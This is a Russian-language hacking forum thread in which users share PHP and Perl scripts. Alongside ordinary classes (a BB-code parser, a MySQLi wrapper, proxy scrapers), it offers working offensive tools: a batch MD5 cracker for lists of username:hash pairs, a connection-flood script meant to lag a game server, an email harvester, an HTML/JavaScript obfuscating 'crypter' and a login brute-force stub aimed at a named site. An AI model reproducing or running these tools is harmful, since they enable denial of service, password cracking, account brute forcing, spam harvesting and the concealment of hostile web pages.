Парсер для hashcracking.info Как вы знаете там можно задавать по одному хешу за раз. Если нужно расшифровать несколько хешей то это становится весьма утомительно. Чтобы ускорить этот процесс я написал сей скрипт. Вводите лист вида username:hash , на выходе получается лист вида username:рassword. Особо не тестил, если какие глюки\баги - пишите, поправлю. Линк на скрипт
PHP: Несколько полезных классов[/b]Выкладываю тут свои php-классы, думаю, кому-нибудь пригодится :) 1). Класс рисования диаграмм и графиков. Весьма навороченная штука, умеет рисовать столбчатые и круговые диаграммы, оси координат, графики по точкам, легенды, графики функций, ступенчатые графики, сетку, градиенты... и всё это с множеством настроек. Содержит более 100 функций, есть очень подробное их описание и пара примеров. 2). Класс-архиватор. Позволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать их, поддерживает разные уровни сжатия, шифрование; умеет переименовывать/ перемещать/ удалять/ создавать файлы прямо в архиве, извлекать конкретные файлы, добавлять файлы в архив. Имеется подробное описание класса и пример работы. 3) Класс проверки параметров. Довольно давно его написал, умеет проверять числа, строки, url'ы, email'ы, хэши, даты и т.д. Имеется описание и пример. Все три класса можно скачать тут: http://rapidshare.com/files/103151532/scripts.zip.html
PHP: <?php set_time_limit(0)or die ("Время работы скрипта ограниченно!"); $in = "hash.txt"; #Файл с хешеми $out = "crack.txt"; #Файл в которые будут записыватся крякнутые хеши $hash = file($in) or die ("Не удается открыть файл: ".$in); $fp = fopen ($out, "a") or die ("Не удается создать файл: ".$out); for ($x=0;$x<count($hash);$x++): $sock = fsockopen ("md5.xek.cc", 80); $send = "POST http://md5.xek.cc/index.php HTTP/1.0\r\n"; $send.= "User-Agent: Opera/9.23 (Windows NT 5.1;U; ru)\r\n"; $send.= "Host: md5.xek.cc\r\n"; $send.= "Accept: text/html image/png image/gif image/jpg\r\n"; $send.= "Accept-Language: ru-Ru,ru;q=0.9,en;q=0.8\r\n"; $send.= "Accept-Charset: iso8859-1, utf-8, utf-16, *;q=0.1\r\n"; $send.= "Accept-Encoding: deflate, gzip, x-gzip, identify, *;q=0\r\n"; $send.= "Referer: http://md5.xek.cc/index.php\r\n"; $send.= "Proxy-Connection: close\r\n"; $send.= "Content-Length: 46\r\n"; $send.= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; $send.= "hash=".trim($hash[$x])."&act=find\r\n\r\n\r\n\r\n"; fputs ($sock, $send); while (!feof($sock)) { @$str.= fgets ($sock,1024); } $find = preg_match("|(?<=: <b>)(.?)+(?=<\/b>)|",$str,$pass); for ($z=0;$z<$find;$z++): fputs($fp,md5(trim($pass[$z])).":".$pass[$z]."\n"); endfor; $str=0; endfor; fclose ($sock); fclose ($fp); ?> Парсер md5.xek.cc хеши берет из файла крякнутые записывает тож в файл в таком виде: c4ca4238a0b923820dcc509a6f75849b:1
Простенький скрипт для собирания прокси листов с различных ресурсов. Ищет на страницах по шаблону ip:рort. В файл надо записать адреса сайтов которые будем парсить. Например: http://www.nntime.com/socks/index.php?start=1 http://www.nntime.com/socks/index.php?start=25 http://www.nntime.com/socks/index.php?start=49 http://www.nntime.com/socks/index.php?start=73 http://www.nntime.com/socks/index.php?start=97 http://www.nntime.com/socks/index.php?start=121 http://www.nntime.com/socks/index.php?start=145 http://www.nntime.com/socks/index.php?start=169 http://www.nntime.com/socks/index.php?start=193 http://www.nntime.com/socks/index.php?start=217 Линк на скрипт
Code: * И так представляю вашему вниманию класс который парсит BB коды, класс отличяется тем что очень прост в плане добовления новых BB кодов а также его легко переделать для работы с БД. ИНСТРУКЦИЯ по добовлению новых ББ кодов: BB код представляет из себя массив содержаший в себе параметры BB кода. Пример: 'color' => array ( 1 => '<font="$1">$2', 2 => '</font>', 3 => '2', 4 => '[ font=x1 ]x2[ /font ]', ), Ключ массва это имя BB кода, ВНИМАНИЕ: ключ должен содержать буквы нижнего регистра(МАЛЕНЬКИЕ) и цифры. Ключ со значением 1 - это открытие HTML тэга, а также вы обозначаете $n значение пришедшие от пользователя с 1 и далее по возростания где n - число Пример: в теге <font color="red">str</font> 2 значения пришедших от пользователя это цвет (red) и строка (str)а значит будет так <font color"$1">$2</font>. Далее кдюч 2 - закрываюший тэг(Необязатльное поле) можете его не указывать если тэг закрытый например тэг <hr>. 3ий ключ в массиве это максимальное количество значений которые должны прийти от пользователя. И 4ый ключ это как будет выглидеть BB код а где xn опять же значения от пользоваетя где n - число от 1 и далее PHP: <?php /** * @author @FATAL@ * @copyright 2008 */ class bbcode { public $arrcode = array ( 'color' => array ( 1 => '<font="$1">$2', 2 => '</font>', 3 => '2', 4 => '[font=x1]x2[/font]', ), 'b' => array ( 1 => '<b>$1', 2 => '</b>', 3 => '1', 4 => '[b]x1[/b]' ), 'link' => array ( 1 => '<a href="http://$1" target="_blank">$2', 2 => '</a>', 3 => '2', 4 => '[link=x1]x2[/link]' ), 'size' => array ( 1 => '<font size="$1">$2', 2 => '</font>', 3 => '2', 4 => '[size=x1]x2[/size]' ), 'hr' => array ( 1 => '<hr width="$1">', 2 => '', 3 => '1', 4 => '[hr=x1]' ), 'center' => array ( 1 => '<div align="center">$1', 2 => '</div>', 3 => '1', 4 => '[center]x1[/center]' ) ); public function __construct($BBcodes) { $this->BBcod($BBcodes); } public function BBcod($BBcodes) { preg_match_all('#\[(\w+).*?\]#is', $BBcodes, $pock); $BBcodes = htmlspecialchars($BBcodes); for ($x = 0; $x <= count($pock['1']); $x++) { $BB = strtolower($pock['1'][$x]); $str = preg_quote($this->arrcode[$BB]['4'], '#'); if (isset($this->arrcode[$BB])) { if (strcasecmp($pock['1'][$x], 'link')) { $BBcodes = str_ireplace('http://', '', $BBcodes); } for ($i = 0; $i <= $this->arrcode[$BB]['3']; $i++) { $str = str_replace('x' . $i, '(.+?)', $str); } $str = '#' . $str . '#is'; $BBcodes = preg_replace($str, $this->arrcode[$BB]['1'] . $this->arrcode[$BB]['2'],$BBcodes); } } $this->BBcodes = $BBcodes; } public function __destruct() { return "Идёт уничтожение"; } } ?> Сильно не пинайте.. я старался 2 раза переписывал=)
Скрипт грузит сервер WoW. для небольших домашних(в локалке) серверов подходит. загружает проц сервера WoW. (незабываем менять адрес сервера и число в цикле. заливаем на несколько хостов и получаем лаги в игре) ВОЗМОЖНО скрипт доработаю. PHP: <?php set_time_limit(0); ob_implicit_flush (); $ip=gethostbyname('wow.site.com'); echo $ip; for ($i=0;$i<1000;$i++){ $wows=socket_create(AF_INET,SOCK_STREAM,0); socket_connect($wows,$ip,3306); socket_close($wows); $wows=socket_create(AF_INET,SOCK_STREAM,0); socket_connect($wows,$ip,3724); socket_close($wows); }; ?>
А у ково есть такой скрипт чтобы подменять адрес сайта Например Я на сайте 1.ru, а в адресной строке будит написано: 2.ru
если ты админ сайта 2.ru то вставь на главной странице код <frameset rows="100%"> <frame src="http://1.ru" name="frame1"> </frameset> А так ты ошибся темой ,сдесь выкладывают скрипты, а вопросы по html нужно задавать в http://forum.antichat.ru/thread43254.html
Может кому потребуется, скрипт парсит текущую диру , на мыльники , вообщем пробегается по всем файлам , и результат заносит в mails.txt. Code: #!/usr/bin/perl use strict; my($g,@a,@b,$all,$f); $g = "*.*"; @a = glob($g); $all = 0; open mail,'>mails.txt'; foreach $f (@a) { open file, $f; while(<file>) { if ( $_ =~ /(\w+@\w+[^\.]\.\w{2,10})/ ) { unshift (@b,$1."\n"); $all++ } ; } close file; }; print mail "All:$all\n"; print mail @b; close mail;
скрипт криптор PHP: <? function a($n) { $p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*"; //сдесь пишем любой ключ который вам нравится и криптуем своей сигнатурой $q=''; $e=''; for($l=0;$l<strlen($n);$l++) { $o=$n[$l]; $m=strpos($p,$o); if($m>-1) { $z=(($m+1)-1); if($z==79) { $z =0; } $q .= $p[$z+1]; } else { $q.=$o; } } return $q; } $file=join('',file('in.html')); //файл который криптуем $file=str_replace("\r\n",'',$file); $file=str_replace("\n",'',$file); $file=a($file); $decrypt="function decrypt(n){var l,ch,ind,q=\"\",key=\"OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*\";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}"; $decrypt=urlencode($decrypt); $decrypt=str_replace('+',' ',$decrypt); $file=str_replace("'","\'",$file); $cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$file."',unescape('".$decrypt."'));</script>"; $file=fopen('out.htm','w'); //то что получается на выходе fputs($file,$cont); fclose($file); ?> ЗЫ ВСЕ для ачата
Уф.. Я сёдня потрудился, написал скрипт, который получает все ссылки с сайта. Code: <?php $site = 'http://localhost/'; foreach(get_urls($site) as $url) { echo '<a href="'.$url.'">'.$url.'</a><br>'."\n"; } function my_sort($array) { $new_array = array(); foreach($array as $value) { $new_array[] = $value; } return $new_array; } function DirnameNormal($url) { $fulldir = ''; $explode = explode('/', $url); foreach($explode as $i => $dir) { if($dir && $i != (count($explode)-1)) { $fulldir .= $dir.'/'; } } return $fulldir; } function JoinToSite($url, $site) { $domain = parse_url($site); $domain = $domain['scheme'].'://'.$domain['host']; if($url{0} == '/') { $link = $domain.$url; } else if(preg_match('~^http(s)?:~i', $url)) { if(parse_url($url, PHP_URL_HOST) == parse_url($site, PHP_URL_HOST)) { $link = $url; } } else { if(!preg_match('~^(ftp(s)?|javascript|mailto):~i', $url)) { $dirname = DirnameNormal(parse_url($site, PHP_URL_PATH)); $link = $domain.'/'.$dirname.$url; } } return (isset($link) ? $link : false); } function GetAllUrlsFromUrl($url, $all_links) { $first = file_get_contents($url); preg_match_all('~<a[^>]+href[\x20]?=[\x20\x22\x27]?([^\x20\x22\x27\x3E]+)[\x20\x22\x27]?[^>]*>~i', $first, $second); $array_urls = array(); foreach($second[1] as $link) { $link = JoinToSite($link, $url); if($link !== false && !in_array($link, $all_links)) { $array_urls[] = $link; } } return ((count($array_urls) > 0) ? $array_urls : false); } function get_urls($url, $all_links = array()) { $get_urls = GetAllUrlsFromUrl($url, $all_links); if($get_urls) { if($all_links == array()) { $all_links[] = $url; } $all_links = array_merge($all_links, $get_urls); foreach($get_urls as $url) { $GetAllUrls = get_urls($url, $all_links); return my_sort(array_unique($GetAllUrls)); } } else { return $all_links; } } ?> Хочу предупредить, этот скрипт получает контент каждой страницы, так что вы можете сделать большую нагрузку на сайт, который вписали в скрипт. Очень прошу не проверять его на античате.
PHP: <?php /** * @author @FATAL@ * @copyright 2008 * * Класс для работы с БД через новую библиотеку MySqlI * * Пример: * ************************************************** * $date = '10.5.2008'; * $db = new DB('localhost','root','','mydb'); * $db->mysql_qw('UPDATE `news` SET `date`=?',$date); * ************************************************** * Клас переделан из старой функции для работы с БД * Безопасен и без особых наворотов, легко и просто */ class DB { public function __construct($host,$user,$db_pass,$db) { $this->connect = mysqli_connect($host,$user,$db_pass); mysqli_select_db($this->connect,$db); } function mysql_qw() { $this->args = func_get_args(); $qwery = $this->mysql_make_qw(); return $result = mysqli_query($this->connect,$qwery); mysqli_free_result($result); } private function mysql_make_qw() { $tml = $this->args; $tml[0] = str_replace('%','%%',$tml[0]); $tml[0] = str_replace('?','%s',$tml[0]); foreach ($tml as $i => $v) { if (!$i) { continue; } if (is_int($v)) { continue; } $tml[$i] = "'" . mysqli_escape_string($this->connect,$v) . "'"; } for ($i = $c = count($tml) - 1; $i < $c + 20; $i++) { $tml[$i + 1] = "UNKNOWN_PLACEHOLDER_$i"; return call_user_func_array("sprintf",$tml); } } public function __destruct() { mysqli_close($this->connect); } } ?>
написал парсер проксей с http://www.nntime.com/ с обходом защиты на js которую ввели там PHP: <? $prox_link=file_get_contents('http://www.nntime.com/'); $peremen_port=''; $prox_res=''; $prox_link=str_replace("\r\n",'',$prox_link); $prox_link=str_replace("\n",'',$prox_link); preg_match("/javascript\"\>(.*?)\<\/script\>/i",$prox_link,$peremeni); $k_ports=preg_match_all("/document\.write\(\"\:\"(.*?)\)\<\/script\>/i",$prox_link,$port); preg_match_all("/(\d+\.\d+\.\d+\.\d+)\</i",$prox_link,$iiip); $p_port=explode(';',$peremeni[1]); for($iii=0;$iii<count($p_port)-1;$iii++) { $peremen_port.='$'.$p_port[$iii].'; '; } eval($peremen_port); for($iii=0;$iii<$k_ports;$iii++) { $port_ed=str_replace("+",'.$',$port[1][$iii]); eval('$port_res=\':\''.$port_ed.';'); $prox_res.=$iiip[1][$iii].$port_res.'<br>'; } echo $prox_res; ?>
ifr 1.1 - разделения ифрейм трафика по странам так же статика по странам и загрузок за день st_load_1.1 - статистика загрузок по странам за день и за все фремя... http://www.web-defence.ru/ifr 1.1.rar http://www.web-defence.ru/t_load_1.1.rar
Брут ../../tak.ru Стоит чуть переделать и будет уже хороший брутер PHP: <?php $tak_login="freetest"; $tak_pass="ANTICHAT"; $packet.="POST /enter.php HTTP/1.0\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n"; $packet.="Accept-Language: ru\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: web.tak.ru\r\n"; $packet.="Content-Length: 52\r\n"; $packet.="Pragma: no-cache\r\n"; $packet.="Connection: Keep-Alive\r\n\r\n"; $packet.="login=$tak_login&password=$tak_pass&Submit=++OK++&z=enter_form"; $ock=fsockopen("web.tak.ru",80); fputs($ock,$packet); $html=''; while (!feof($ock)) { $html.=fgets($ock); } fclose($ock); if ((strpos($html,"302 Found"))>0) echo "Пароль правильный"; else echo "Не правильный пароль "; ?> Ps только в ознакомительных целях